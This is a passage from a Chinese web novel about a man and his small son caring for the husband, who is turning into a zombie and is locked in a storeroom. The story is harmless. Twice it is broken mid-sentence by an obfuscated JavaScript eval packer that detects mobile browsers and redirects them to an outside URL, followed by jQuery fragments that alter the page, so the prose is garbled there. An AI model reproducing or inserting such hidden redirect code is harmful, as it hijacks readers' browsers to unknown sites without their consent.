“可是……”林小饱吸了吸鼻子,努力不让眼泪掉下来,“会有奥特曼来打怪兽的……” “当然也不会!”林早连忙把锅盖盖上,冲到他面前。 “动画片里都是这样说的,怪兽都会被奥特曼打的!我不想大爸爸被打!我再也不要喜欢奥特曼了!” 伤父之仇,不共戴天! 他林小饱在此立誓—— 从今日起,他和奥特曼恩断义绝,势不两立! 林小饱越想越难过,眼泪吧嗒吧嗒掉下来。 林早手忙脚乱,在围裙上擦了擦手,拿出手帕,给他擦眼泪。 “别哭别哭……” “我不要大爸爸被打……大爸爸是好人……” “啊……对!”林早忽然灵光一闪,“奥特曼是不会打好怪兽的!” 林小饱含着两泡眼泪,一抽一抽地看着他。 爸爸在说什么? “其实……其实……” 林早把他抱起来,自己坐在板凳上,让林小饱坐在自己怀里。 开始瞎掰。 “小饱,其实我们做人的,长大以后,都有可能会变成怪兽的。” 林小饱:? “很久很久以前,我和大爸爸还很小的时候,我们的同学的大姨的邻居的舅公,就变成了怪兽!” 林小饱:?? “唉,这就是做大人的无奈。我们没办法选择,要不要变成怪兽,但是我们可以选择,是做一个好怪兽,还是做坏怪兽。” “舅公就选择做一个好怪兽。有一天,奥特曼路过他们家,看见舅公在勤勤恳恳地种地,不仅表扬了他,还帮他……翻了整整十块地!” 林小饱:??? 林早一脸认真,目光坚定,语气笃定:“这个就叫做——” “‘好人有好报,好怪兽也有好报’!” “大爸爸也是一个好怪兽。你看啊,他自己把自己关在家里,都没有出去欺负别人,所以他不会被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920620|177063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打,他会被表扬!” 林小饱眨巴眨巴眼睛,把眼泪憋回去:“那奥特曼表扬大爸爸的时候,我可不可以跟着去啊?” 他收回之前的誓言,他还是想认识一下奥特曼的。 林早笑着说:“那你就要好好照顾大爸爸,也要好好监督他,不许他干坏事。” 林小饱握紧小拳头,下定决心,用力点了点头:“嗯!我一定会的!” 林早放下心来,学着他的样子,也握紧拳头。 父子二人交换了一个冒着四角星星的坚定眼神。 加油!努力!监督大爸爸要用力! 就在这时,炉灶上传来“哐当”一声轻响。 炖肉的锅“咕嘟嘟”地冒着热气,直接把锅盖顶起来了。 林早把林小饱放下:“爸爸去看看肉,你把择好的菜端过来、洗一洗,能做到吗?” 林小饱挺起小胸脯,自信满满:“能!” 两个人分头行动。 林小饱抱着菜盆,踩着板凳,打开洗菜池水龙头。 林早给他戴上袖套,让他自由发挥。 他自己则打开锅盖,用筷子戳了戳红烧肉。 不是特别软烂,还要再炖一会儿。 林早拿出干净的炒菜锅,架在另一个炉灶上。 “小饱,菜洗好了吗?” “好了好了!” 起锅烧油,油热下菜。 生菜易熟,随便翻两下就好了。 林早也没有往菜里加水,而是舀起一勺红烧肉的汤汁,浇了进去。 借一点肉味,就不用再放盐,也更好吃。 情况特殊,一家三口吃两道菜,不算多,但也不算少。 林早还额外给傅骋煮了三个汤圆,就当是弥补他元宵节没吃。 做好了饭,林早打开橱柜,找出一个爱心形状的粉色饭盒,准备给傅骋装饭。 这个饭盒还是傅骋买的。 林早在幼儿园工作,中午要看着小朋友午休,时不时还要带他们出去春游秋游,傅骋怕他吃剩菜冷饭,对身体不好,就每天在家里做饭,做好了骑摩托送过去。 黑色的摩托车上,挂着粉色的饭盒。 有点土,又有点好笑。 现在也轮到傅骋自己用这个饭盒吃饭了。 林早盛了两碗饭,扣在盒子里,又夹了肉和菜,堆得满满的。 最后用保温桶单独装了汤圆。 这样就好了。 第一次送饭,林早按照傅骋的要求,穿上重重的军大衣,戴上厚厚的毛绒帽。 林小饱也要去。 于是林早也给他穿上厚外套,戴上帽子、手套、围巾和口罩。 父子二人裹得严严实实,像两个圆滚滚的雪球。 林小饱端着保温桶,林早抱着饭盒。 一步一步,慢慢吞吞地往楼下挪。 “爸爸,我不想穿这么多。” “爸爸也是这样穿的呀。” “可是我走不动了,我的腿都变短了!” “没办法,必须这样穿,再坚持一下。” “为什么?” “你想啊,如果大爸爸忽然发狂,冲上来,把我们两个按在地上,对着我们的屁股,‘吭哧’一大口——” “哎呀!”林小饱连忙捂住自己的屁屁,“爸爸,痛!” “不会痛的啦。”林早故意学他说话,“怎么会痛嘞?” “大爸爸只会——” “一口下去,不好,是大衣!” “两口下去,不好,是棉袄!” “三口、四口、五口,卫衣、毛衣、线衣。” “什么?竟然还有打底秋衣!” 8. 第 8 章 8 两个小雪球。 千里迢迢!长途跋涉! 从楼上到楼下,从厨房到车库。 最后在杂物间门前,停下脚步。 “嘿咻!终于到了!” 矮墩墩的林小饱,抱着同样矮墩墩的保温桶,站在高大的铁门前。 大爸爸就在这里面! 他走上前,腾出一只小手,有礼貌地拍拍门。 “大爸爸,快开门!我和爸爸来给你送饭啦!” 可是杂物间里,无人应答。 大爸爸不理他。 林小饱皱起小脸,歪了歪脑袋,要把耳朵贴在门板上,听听里面的动静。 下一秒,一只大手从天而降,捂住他的小脸蛋,把他的脑袋转回来。 “小饱,大爸爸都没有钥匙,怎么给我们开门?” 林早趁机捏捏他脸上的肉肉。 “而且我们和大爸爸说好了,不能随便把门打开,你忘记啦?” “没有忘记,也没有‘随便’。”林小饱理直气壮,“现在是午饭时间。不把门打开的话,大爸爸要怎么吃饭呢?” 林早眼珠一转,故意说:“想想看,发挥你的聪明才智。” “嗯……”林小饱歪着脑袋,认真思考,“我们把饭和菜压成大饼,从门缝里塞进去!” “噗——” 林早没忍住笑出声来。 “干嘛笑我?” “因为你太可爱啦。” 林早最后捏了一下他的脸,把手里的饭盒交给他。 “不过大爸爸不爱吃饼,爸爸想到另一个好办法。你帮爸爸拿一下,爸爸去搬工具。” “好。” 林小饱一手搂着饭盒,一手提着保温桶,乖乖站在原地。 林早环顾四周,最后从车库角落里,搬了一条长凳出来。 杂物间不大,但也不是完全密闭的。 对外有一个铁质排气扇,对内有一道铁门,还有一个通风换气的小窗。 就是有一点,自建房的墙面都高,窗户也开得高。 林早把长凳放在窗户底下,双手扒着墙,一鼓作气,爬了上去。 年前家里才大扫除过,高处被傅骋擦得很干净。 林早站在窗前,推开窗户,探头探脑地朝里面张望。 “骋哥,我来啦——” 杂物间里有点黑,傅骋又没开灯。 林早看不清里面的情形,只能隐约看见一个高大的身影,躺在他和林小饱铺好的床上。 男人背对着他们,不动如山,似乎是睡着了。 “骋哥?” 林早又轻轻地喊了一声,傅骋还是没反应。 好吧,在外面奔波了这么久,还被丧尸抓伤。 骋哥肯定很累。 让他睡吧。 林早抿了抿唇瓣,打定主意,没再吵他。 林小饱站在旁边,小脑袋高高仰起,两只脚也用力踮起。 他看不见里面的场景,只能拖着长音问:“爸爸,大爸爸在干嘛?他怎么不理我们?” “大爸爸在睡觉。”林早转过头,伸出食指,朝他“嘘”了一声,“我们小小声的,把午饭放进去就好了。大爸爸饿了,自己会吃的。” “噢——”林小饱点点头,自觉地把嘴巴噘起来,“这样够小吗?” 小崽崽以为,只要把嘴巴变小,说话声音也会跟着变小。 “够啦。” 林早扶着墙,从长凳上跳下来。 他跑到货架前,翻出一截尼龙绳和一个塑料篮。 “用这个。” 林早把绳子系在篮子上,又让林小饱把饭盒和保温桶都放进去。 他提着东西,再次爬到长凳上。 把塑料篮从窗口送进去,双手拽着绳子,一点一点往下放。 林早趴在窗台上,小心翼翼地操作。 篮子和墙壁磕碰摩擦,时不时发出轻微声响。 房间里的傅骋似有所感,肩背微微颤抖。 绳子仿佛没有尽头,黑暗也仿佛没有尽头。 不知道过了多久,塑料篮终于碰到地面。 林早轻轻拽了一下绳子,确认东西放稳了,才把自己手里的绳子打了个结,挂在窗扣上。 “骋哥。” 他放轻声音,温温柔柔地唤了一声。 “我今天做了红烧肉和生菜,还给你煮了汤圆。” 林早转过头,把林小饱抱起来。 两颗圆溜溜的脑袋,挨在一起。 “生菜是小饱择的,汤圆也是小饱丢进锅里的。” 林小饱窝在爸爸怀里,举起小手,朝大爸爸挥了挥。 没错!是我! “我们现在也要去吃饭啦。中午睡一会儿,下午把你带回来的生菜处理一下,我想试试,能不能用水养生菜。” “你饿了就吃饭,吃完了把碗筷放回篮子里,我们晚上来收。” 林早想了想,没有其他想说的了。 “那我们走啦。小饱,跟大爸爸说‘拜拜’。” “拜拜。”林小饱乖乖挥手,“大爸爸,晚上见。” “走吧。” 林早一只手抱着林小饱,一只手扶着墙,从长凳上下去的时候,不小心跌了一跤。 “啊——” 林早的惊呼声传来,杂物间里的傅骋猛然翻身坐起,回头看去。 可是隔着一道门,他什么也看不见。 他只能听见熟悉的声音,从墙那边传过来。 “小饱,你又长……长大啦。” “爸爸,你是不是想说我长胖了?” “没有啊。你正是长身体的时候,你长大了,爸爸特别高兴……” 父子二人的说话声,越来越小,越来越远。 傅骋再也按捺不住,往前一扑,快步上前,跌跌撞撞地来到门后,把耳朵贴在门上。 屏息凝神,专心去听。 是小枣和小饱! 是他的老婆!他的儿子! 可是他的耳里呼呼作响。 除了脚步声,他什么也听不见。 傅骋放下手,低下头,额头抵在冰冷的门板上,整个人无声地颤抖着。 是,他根本就没有睡着,他刚才是在装睡。 他只是太难受了。 他四肢剧痛,头痛欲裂。 就像有几百几千只丧尸,挤在这个小小的房间里。 包围他、攻击他、召唤他。 小枣和小饱刚出现在门外的时候,他不仅没能在第一时间认出他们的声音,甚至还想冲破铁门,扑上去咬他们。 他不想吓到他们,不想让他们看到他这副可怕的模样,所以干脆背对着他们装睡。 他不想忘记小枣,也不想忘记小饱。 可是他不知道该怎么办。 他真的不知道…… 傅骋垂着头,余光一瞥。 下一秒,角落里那个粉色的爱心饭盒,黑暗里唯一一抹鲜亮的色彩,猝不及防,闯进傅骋黑白的眼里。 恍惚之间,傅骋好像看见老婆儿子抱着饭盒,站在他面前,笑容温暖。 对!吃饭! 他现在应该吃饭! 要是老婆儿子晚上过来收饭盒,发现他没吃饭,肯定会伤心的。 傅骋打定主意,拖着僵硬的双腿,大步上前。 他艰难地弯曲膝盖,蹲下身来,小心翼翼地捧起饭盒,抱在怀里,用同样僵硬的手指掰了五六次,才终于把饭盒打开。 饭盒温温热热的,里面的饭菜堆得满满当当的。 傅骋拿不住筷子,只好用力掰了掰自己的手指关节,用握叉子的方式,握住筷子。 他叉起一块热腾腾的红烧肉,塞进嘴里,用尖利的犬牙磨了磨,就囫囵咽下去。 红烧肉做得很好,林早提早焯水去腥过,还加了各种香料和调料一起炖。 但是和丧尸喜爱的、冒着热气的人血人肉,完全不同。 傅骋现在尝不出味道,感觉不到冷热,也察觉不到饥饱。 但是饭菜途径口腔、咽喉、食道,最后落进胃里,他是能清楚地感觉到的。 傅骋端起饭盒,又往嘴里扒了两口大米饭。 香喷喷、热乎乎的家常菜,一点一点填满他的肚子。 傅骋忽然感觉到,一种前所未有的满足感。 外面的丧尸,要么缺胳膊少腿,要么肚子被划开,内脏肠子拖了一地。 他还是完整的,他还有胃,还有肠子,还有心脏。 他还有老婆儿子,还能吃到老婆儿子给他准备的饭菜。 傅骋靠在墙边,一面吃着午饭,一面抬起左手,按在自己的胸膛上。 只要他的心脏还在跳。 那他就是幸福的。 * 另一边,林早和林小饱上了楼。 父子二人吃完午饭,简单收拾一下,就回房间午睡去了。 其实也不算是午睡。 林早本来就起得迟,十点多才起来。 在车库里骂傅骋混蛋,还要给混蛋铺床、给混蛋做饭。 这些可都是很耗费时间的事情。 所以等他们吃完饭,已经是下午两三点了。 林早带着林小饱,也没敢多睡。 只眯了半个小时,就赶紧起来了。 林早从床上爬起来,拍拍林小饱的屁股。 “小饱,起床啦。不能再睡了,不然晚上……” 话还没完,林小饱忽然睁开眼睛,和他对上视线。 “好噢,爸爸。” 林小饱从被窝里爬出来,拿起外套,熟练地给自己套上。 林早看着他,一时间有点不敢相信:“今天怎么这么听话?不赖床了?” 林小饱瘪了瘪嘴巴,小声说:“因为我都没有睡着。” “嗯?” “我一直在想大爸爸。” “这样啊。” “爸爸是不是也没睡着?我感觉爸爸一直在翻身。” “是呀。” 林早叹了口气,摸摸他的脑袋。 “没关系,我们现在就下去看大爸爸。” “真的吗?” “当然是真的。”林早理直气壮。 “我们和大爸爸离得这么近,当然是想看就看!想什么时候看,就什么时候看!想怎么看,就怎么看!” “再说了,大爸爸就该给我们看,不给我们看,他还想给谁看?对不对?” “对!” 林小饱用力点点头,加快了穿衣服的速度。 穿上厚厚的衣服,戴上重重的帽子。 父子二人穿戴整齐,再次来到杂物间门前。 林早踩在长凳上,趴在窗台上,朝里面张望。 林小饱站在旁边,一脸焦急:“爸爸,看到了吗?看到大爸爸了吗?” “唉——”林早叹了口气,回过头,无奈道,“大爸爸还在睡觉。” “还在睡?!”林小饱震怒,“大爸爸是大懒虫……大懒怪兽!” “诶诶诶!”林早连忙制止他,“不许这样说大爸爸,万一奥特曼听见了,以为大爸爸是坏怪兽,过来把他抓走怎么办?” 林小饱反应过来,连忙捂住嘴巴:“对不起,大爸爸。对不起,奥特曼,我爸爸是好怪兽。” “好啦,解释了就没事了,奥特曼听见了。” 林早一边哄他,一边解开系在窗扣上的尼龙绳,拽着绳子,把装饭盒的塑料篮提上来。 他们中午放的饭盒和保温桶已经空了,连煮汤圆的汤都喝得干干净净,一滴不剩。 林早笑了笑,把空饭盒递到林小饱面前。 看—— 林小饱眼睛一亮,明白过来。 大爸爸中午醒了,把他们做的饭全部吃完了! 父子二人相视一笑,默契地昂首挺胸,几乎要把两条小猫尾巴翘到天上去。 谢谢喜欢! 他们会继 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“春天的手呀,翻阅它的等待。” “我在暗暗思量该不该将它轻轻地摘。” 轻柔的歌声,缓缓地流淌。 林小饱忘了要工作,蹲在爸爸身边,双手捧着脸,认真地望着爸爸。 傅骋也忘了要装睡,起身下床,走到门边,靠着门扇,在地上坐下,静静地听他唱歌。 “羞答答的玫瑰,静悄悄地开。” “慢慢地燃烧,它不承认的情怀。” “清风的手呀,试探它的等待。” “我在暗暗犹豫,该不该……”* 林早唱着唱着,似乎察觉到了什么,抬头看向杂物间的门。 傅骋架着一条腿,坐在地上,发现歌声停了,同样回头看去。 隔着铁门,两道目光,于此交汇。 直到林小饱在林早面前挥了挥小手—— “爸爸?爸爸!” “嗯?” 林早这才回过神来。 “怎么了?” “剪刀,危险!”林小饱急得直跺脚,“你还一直在发呆!” “对不起,让小饱担心了。”林早连忙把手里的剪刀放到一边,真诚道歉,“爸爸发呆,是因为大爸爸也在发呆。” “爸爸怎么知道?” “因为……”林早伸出两根手指,指了一下自己的眼睛,又指了一下铁门,“爸爸有透视眼。” 林小饱摇头:“不相信。” “爸爸和大爸爸有心灵感应。” 林小饱继续摇头:“也不相信。” “那我们来验证一下。” “怎么验证?” “你看——” 林早把剪好的饮料瓶交给林小饱,轻手轻脚地站起身来。 他放慢脚步,朝杂物间挪去。 在距离杂物间仅有一步之遥的时候,林早倏地加快速度,一个跨步上前,踩着长凳,扒着窗台,爬了上去。 “哈喽!骋哥!” 林早从小窗外探出脑袋,笑得眉眼弯弯,露出八颗小白牙。 “我就知道,你肯定在偷偷听我唱歌……” 可也是在这个时候,傅骋回到床边,仍旧背对着窗户,躺了下去。 看见傅骋还在睡觉,还保持着刚才的动作,林早脸上的笑意瞬间凝住。 他眨巴眨巴眼睛,掩去眼底失落。 好吧,是他感应错了。 骋哥根本没有醒,也没有听他唱歌。 林早吸了吸鼻子,低下头,默默离开。 林小饱一脸期待地看着他:“怎么样?爸爸,大爸爸醒了吗?” “还……还没有。”林早抿了抿唇角,解释说,“他经常睡这么久,之前、你还没出生的时候,他去外面跑车送货,回家以后,经常一睡就是一整天……两三天,喊都喊不醒……” 话还没说完,林早的声音就越来越小。 这话像是在哄林小饱,但更像是在哄他自己。 林早平复好心情,牵起林小饱的手:“走吧,我们把剩下的生菜也处理一下。” “好吧。” 父子二人上了楼,把箱子里的生菜都拿出来,立起来,放在大水盆里。 同样加一点点自来水,让水铺满底部,没过菜根。 “好了,这些生菜自己会喝水,等明天再来看,它们就变新鲜了。” “真的吗?” 林小饱蹲在水盆前,左看右看,上看下看,准备画一本《生菜培育日记》。 林早留他一只崽慢慢观察,简单收拾一下,就准备做晚饭。 中午做的红烧肉没吃完,还有小半盆,足够他们再吃一顿的。 蒸点米饭,再随便炒个菜、煮个汤就行了。 林早把蘑菇撕成小瓣,做了道素炒蘑菇。 又泡了半片紫菜,抓了一小把虾米,煮了紫菜虾米汤。 蘑菇嫩滑,紫菜汤鲜甜,都很好吃。 仍旧用饭盒和保温桶装好,送下去给傅骋。 结果他们下去的时候,傅骋竟然还在睡觉! “死鬼……” 林早站在窗外,磨了磨后槽牙,终于没忍住,小声骂了他一句。 “做老公的,一整天话都说不上,脸也看不到。困死鬼投胎的混蛋,真讨厌。” 林小饱听见了,连忙提醒他:“爸爸,不能骂大爸爸,大爸爸会被抓走的。” “知道了。”林早鼓了鼓腮帮子,生气道,“走,小饱,我们上楼吃饭,再也不来看他了。天天睡觉,只会睡觉!” 杂物间里,傅骋背对着他,听见他赌气一般的话,没忍住低低地笑出声来。 是啊,他明明醒着,却不敢面对老婆儿子。 他讨厌,他是死鬼,他是混蛋。 9. 第 9 章 9 ——困死鬼投胎的混蛋! ——天天睡觉,只会睡觉! ——我们走,再也不来看他了! 凌晨十二点。 夜深人静,万籁俱寂。 林小饱撅着屁屁,趴在床上,睡得正香。 林早则平躺在旁边,两只手举过头顶,一双眼眨巴眨巴,静静地望着天花板。 嗯,他睡不着。 傍晚他给傅骋送饭,在杂物间外面说的那些话,一直在他耳边回响。 他说傅骋是死鬼,说傅骋真讨厌,还说再也不来看他。 现在想想,是有点过分了。 傅骋都受伤了,睡久一点也很正常,结果他还这么凶巴巴的。 其实…… 他刚说完这些话,就有点后悔了。 他也不是故意的,他只是有点生气而已。 傅骋明明可以起床吃饭,却总是挑他和小饱不在的时候起来。 只要他们出现,傅骋就用后背对着他们。 就像是……故意躲着他们一样。 一整天了,他们再也没看到过他的正脸。 他知道,傅骋被丧尸抓伤,很可能在不久之后,也会变成丧尸。 可是,既然他已经决定了,要把傅骋留在家里,当然也会做好自己的准备啊。 他不会嫌弃傅骋,更不会讨厌他的。 傅骋却总是躲着他,一副要和他划清界限,保持距离的样子。 真是让人心寒。 林早吸了吸鼻子,收回手,翻了个身。 他伸长胳膊,搂住林小饱。 不管了,睡觉。 他说了不去看傅骋,就不去看。 大半夜的,有什么好看的? 就算去看,也只能看见后背。 林早打定主意,调整好睡姿,闭上眼睛,偏过脑袋,把脸埋进柔软的枕头里。 睡吧,明早再说。 他才不去看傅骋。 不去,不去,就不去! 就不…… 下一秒,远处传来野兽一般的嚎叫。 距离尚远,声音不大,传到他们这里,只剩下隐隐约约的、像狗叫一样的声音。 但林早还是被这个声音吓到,“腾”地一下从床上坐起来了。 不……不行。 他还是要下去看看。 骋哥手臂上的伤口这么深,外面的丧尸又这么凶。 怎么可以真的不管他? 林早抬起手,捂了捂自己的心口,感觉到自己的小心脏正在里面怦怦直跳。 走吧,下去看看。 看看骋哥,就算只能看背影也好。 林早打定主意,掀开被子,下床穿好棉鞋和军大衣,从军大衣里掏出钥匙,轻轻推开卧室门,走了出去。 他拿着一大串钥匙,依次打开三楼防盗门、一楼防盗门、车库门,来到杂物间门外。 还好,杂物间里安安静静,一点儿声音都没有。 骋哥没跟其他丧尸一样,到了晚上,就嚎得特别起劲。 林早稍微放下心来,熟练地踩着长凳,爬上窗口,朝里面望去。 房间里很黑,只有一点点月光,透过换气扇的扇叶缝隙,照在地上。 不出意外,借着月光,林早再次看见了男人高大的背影。 傅骋依旧背对着门窗,躺在床上。 唯有背影,只有背影。 林早不再生气,只是叹了口气,把两只手放在窗台上,好像小学生上课一般,定定地看着他。 就这样看了几分钟。 林早抿了抿唇瓣,试探着唤了一声:“骋哥?” 傅骋身形微震,但还是强自忍耐着,不敢回头。 “我知道你没睡。” 林早了然。 “你一整天都没睡着,对不对?” 傅骋紧紧地咬着牙,强迫自己死死地盯着眼前墙壁,不要走神。 但林早显然不想就这样放过他。 他的声音依旧温柔,带着几分试探。 “你是不是不想让我和小饱,看见你的脸?” “你是不是不会说话了,不想让我和小饱知道?” “你是不是控制不住自己,害怕吓到我和小饱?” 傅骋喉头一哽,眼睛忽然充血发热。 原来小枣知道。 小枣是全家最聪明的人,他什么都知道。 “你不要这样嘛。” “我看过丧尸片的,我知道啊,我知道人类变成丧尸以后,牙齿会变尖,眼睛也会变红,也会控制不住自己。” “我都知道,我不害怕,一点都不害怕。” “因为我还知道,你是我老公,是一直保护我的骋哥。” “我在婚礼上发过誓的呀,不管生老病死,不管你变成什么样,都会爱你的。” 林早翘着脚,一只手托着腮帮子,不知道想到了什么,轻轻笑出声来。 “多亏了你当时赶时髦,办的是西式婚礼,不然我就没法发誓了。” “可能你真的睡着了吧,可我就是觉得你没睡。” “你回头也好,不回头也好,我就是半夜睡不着,想找你说说话。” “我想很认真、很认真地告诉你——” “我不会怕你的,真的。” 话说得差不多了,林早垂了垂眼睛,最后道:“骋哥,对不起。” 这话出口,房里房外都静了一瞬。 傅骋下意识握紧双拳,心脏似乎也被他自己攥紧了,一缩一缩地疼。 小枣为什么要向他道歉? 他又惹小枣难过了,是不是? 林早鼓了鼓腮帮子,小声说:“我下午不该那样骂你的,我只想跟你说话,一点都不体谅你,我真坏,对不起。” 没有!乱讲! 小枣很好,小枣一点也不坏! 小枣没有要说“对不起”的地方! 傅骋在心里、在脑子里,喊得震天动地。 可是现实里,他张了张嘴,喉结剧烈滚动,却发不出一点声音。 他的喉咙又僵又硬,就算发出声音,也只有野兽一般的喘气声。 傅骋死死咬着牙,与病毒对抗之间,有滚烫的液体从他眼泪滚滚落下。 说话!回答! 快跟小枣说话! 告诉小枣,你没有生气,你没有睡觉。 你也很爱他! 傅骋尚在艰苦抗争。 林早在窗外等了一会儿,见他始终没有要回头的意思,便也放弃了。 “好吧。”林早刻意让语气变得轻快一些,“那我上去睡觉啦,你也快点睡吧。反正……” “反正我们还有很久很久,对不对?” 一阵轻响之后,林早转身离开。 傅骋彻底卸了力气,重重地倒在床上。 下一秒,傅骋翻下床铺,重新站起身来。 * 另一边。 林早把车库门和一楼防盗门锁好,揣着钥匙上了楼。 他知道,骋哥又要强又死犟。 二十多年来,不管遇到什么事情,骋哥从来没有认过输,更没有在他和小饱面前,流露出半点的脆弱和不堪。 现在变成这样,骋哥就更不会把自己的伤口,展露给他们看了。 林早已经不生气了。 相反的,他的心好疼好疼。 林早回到三楼卧室,拿起暖壶,给自己倒了杯热水。 他双手捧着陶瓷杯,坐在窗下桌前。 林小饱就在他身后的床上睡觉,怕吵醒他,林早就没开吊灯,只打开了桌上的小台灯,把亮度调到最低。 热水温度透过杯壁,印在他的手心。 热气氤氲,升到眼前,模糊了他的视线。 林早低下头,轻轻吹散水雾,抿了一口热水。 暖意在身体里散开,让他好受许多。 就在这时,林早忽然看见林小饱放在桌上的挂历本—— 生菜成长日记。 昨天下午,他们用自来水,养了一大盆生菜,还有几个矿泉水瓶的生菜根。 林小饱不相信生菜自己会喝水,所以决定听从他的建议,做一本《生菜成长日记》。 每天仔细观察,每天都把生菜的样子画下来。 林小饱对待这件事情很认真,因为自己不会写字,是个三岁文盲小宝宝,还特意拿着黑色蜡笔,请爸爸给封面题字。 六个大字,林早用正楷写,四四方方,端端正正。 翻开第一页,就是林小饱用黄色蜡笔画的蔫吧生菜,还有光秃秃的生菜根。 林早看着林小饱稚嫩的儿童涂鸦,不由地会心一笑。 不能带小饱出去玩,让他坚持观察生菜,培养一下探索精神也好。 就在这时,林早忽然想到什么,唇角笑意一凝。 对!观察日记! 他也应该做一本观察日记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920622|177063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 林早倏地回过神来,弯下腰,拉开桌子抽屉,从里面拿出一本全新的、没写过的教案本。 他拧开钢笔,翻开第一页,仔仔细细地回想,详实准确地写下日期与事件。 ——3000年2月4日,除夕夜。人民广场,丧尸病毒爆发。 ——3000年2月9日,正月初五。傅骋外出,寻找物资,当日平安归来。 ——3000年2月14日,正月初十。傅骋外出,寻找物资。 中间的事情,林早没跟着他一起去,所以不知道。 林早空了几行,继续往下写。 ——3000年2月19日,正月十五,元宵节。约凌晨十二点,傅骋归家。 ——被丧尸抓伤,三道伤口,位于右臂外侧,伤口深约…… 林早闭上眼睛,努力回想。 ——伤口深约八厘米,一条长约二十厘米,另两条约十五厘米,骨头露出。 ——3000年2月20日,为傅骋敷洒云南白药,有明显止血效果,另用绷带包扎伤口。 ——今日饮食,午饭:大米粉,红烧肉,炒生菜。晚饭:…… ——全部吃完,今日傅骋似仍保有自我意识,避不见人。 林早伏在桌前,一字一句,一笔一划,把自己能想起来的东西,全部都写上去。 截至目前,谁都不知道,丧尸病毒究竟是怎么样的。 所以,他给傅骋用了什么药、吃了什么饭,都要一一记录下来。 万一以后骋哥身体不适,他就可以从这里面找问题。 万一以后骋哥情况好转,他也可以从这里面找原因。 万一……万一以后,有厉害的医生、科学家经过这里,就可以根据这份记录,帮帮他们了。 就算以上事情都不会发生,他也能更加了解丧尸的生活习性,更好地保护照顾骋哥。 这就是骋哥的病历本。 这就是他的—— 林早翻到教案本封面,拔出记号笔,在上面写下—— 丧尸老公喂养日记。 八个大字,覆盖在原本的“小太阳幼儿园教案本”上。 林早长长地舒出一口气,抬起头,望向窗外,仿佛看见了一点点希望的曙光。 记完这个本子,骋哥就会好了。 不管怎么样,他都会认真记录的。 月光皎洁,普照大地—— 透过窗帘缝隙,落在林早面前的纸上。 同样也透过扇叶缝隙,落在傅骋面前的墙上。 杂物间里,傅骋坐在墙角,拿着一颗螺丝,正往墙上刻字。 螺丝原本是用来固定货架的,傅骋搬货架的时候,把螺丝弄松了。 现在的傅骋关节僵硬,视线模糊,费了好大一番功夫,才把掉在地上的螺丝捡起来。 他坐在地上,左手平举,托着几颗螺丝,右手费力地捏着一颗螺丝,一道一道,艰难地刻下一个字—— 早。 最后一竖落下,傅骋手一松,螺丝也掉在了地上。 他试探着伸出手,用冰冷僵硬的指尖,去触摸自己好不容易刻下来的字。 傅骋低下头,额头抵在墙面上。 小早,林早。 是他最最最爱的老婆。 不能忘记,永远不能忘记。 还有……还有小饱。 傅骋在心里默念了几遍“早”字,马上又拿起一颗螺丝,继续在旁边刻字。 饱…… “饱”字怎么写? 他忘了!他忽然忘了! 他怎么能忘了? 该死!早知道就不给儿子起这个名字了! 直接叫他“小一”、“一一”多好。 笔画简单又好记。 没办法,名字都起了,现在也不能改了。 傅骋咬着牙,用额头撞了两下墙壁,硬生生把“饱”字从自己的脑子里挖出来。 好了,这下也写好了。 小饱,林小饱。 是他最爱的儿子,也不能忘记。 傅骋再次坚定信念,一刻不停地默念着老婆儿子的名字,把他们的名字刻进心底。 窗外夜色依旧,丧尸吼叫不休。 林早坐在桌前,傅骋靠在墙角。 林早提笔,傅骋抬手。 林早写字,傅骋默念。 此时此刻,月光轮转,同时落在他们身上。 永不忘却,永不背叛。 10. 第 10 章 10 “吼——” “吼吼吼——” 一大早,天刚蒙蒙亮。 楼下就传来断断续续、隐隐约约的嘶吼声。 “哎呀……” 卧室里,窗帘拉着。 林小饱翻了个身,像摊煎饼一样躺在床上,使劲蹬了两下脚。 脚力之大,连带着盖在他身上的八斤棉花被,都往下滑了滑。 是谁呀?这么没有公德心。 不知道小饱饱正在长身体,需要充足的睡眠吗? “讨厌……” 林早被他蹬醒,同样迷迷糊糊地翻了个身,摸索着搂住他,捂住他的耳朵,把他抓回被窝里。 “好了好了,不讨厌,继续睡。” 隔着被子,爸爸温柔的轻拍,落在林小饱的小胸脯上。 林早一边哄他,一边睡觉,连眼睛都没睁开。 “骋哥……” 林早哼哼唧唧地喊了一声,身后却没动静。 不应该啊。 平常遇到这种情况,傅骋都会伸长手臂,一把抱住他和小饱,像他捂住小饱的耳朵一样,也捂住他的耳朵。 今天怎么没动作? 嘶吼声越来越大,越来越凶。 林早“呜”了一声,扭着身子,往被窝里钻了钻。 “真讨厌,到底是怎么回事嘛?是张爷爷家的大公鸡在叫,还是那几个精神小伙骑着鬼火下夜班了?” 他也蹬了一下脚,和刚才林小饱的动作一模一样。 “骋哥,你下去看看嘛,公鸡和小伙都怕你,你下去跟他们说一下……” 话没说完,林早倏地清醒过来,睁开眼睛。 不对! 骋哥是在家里,但是不在卧室。 骋哥被丧尸抓伤了,感染了丧尸病毒。 昨晚他写《丧尸老公喂养日记》,还写到了半夜。 所以…… 所以,现在是什么东西在叫? 心脏猛地收紧,林早“唰”地一下掀开被子,又“噌”地一下爬下床铺。 不会是骋哥在叫吧? 不行!他得下去看看! 林早正准备出去,结果刚迈出去一步,脚还没沾地,就感觉眼前一花,整个人都晃了一下,直接倒回床上。 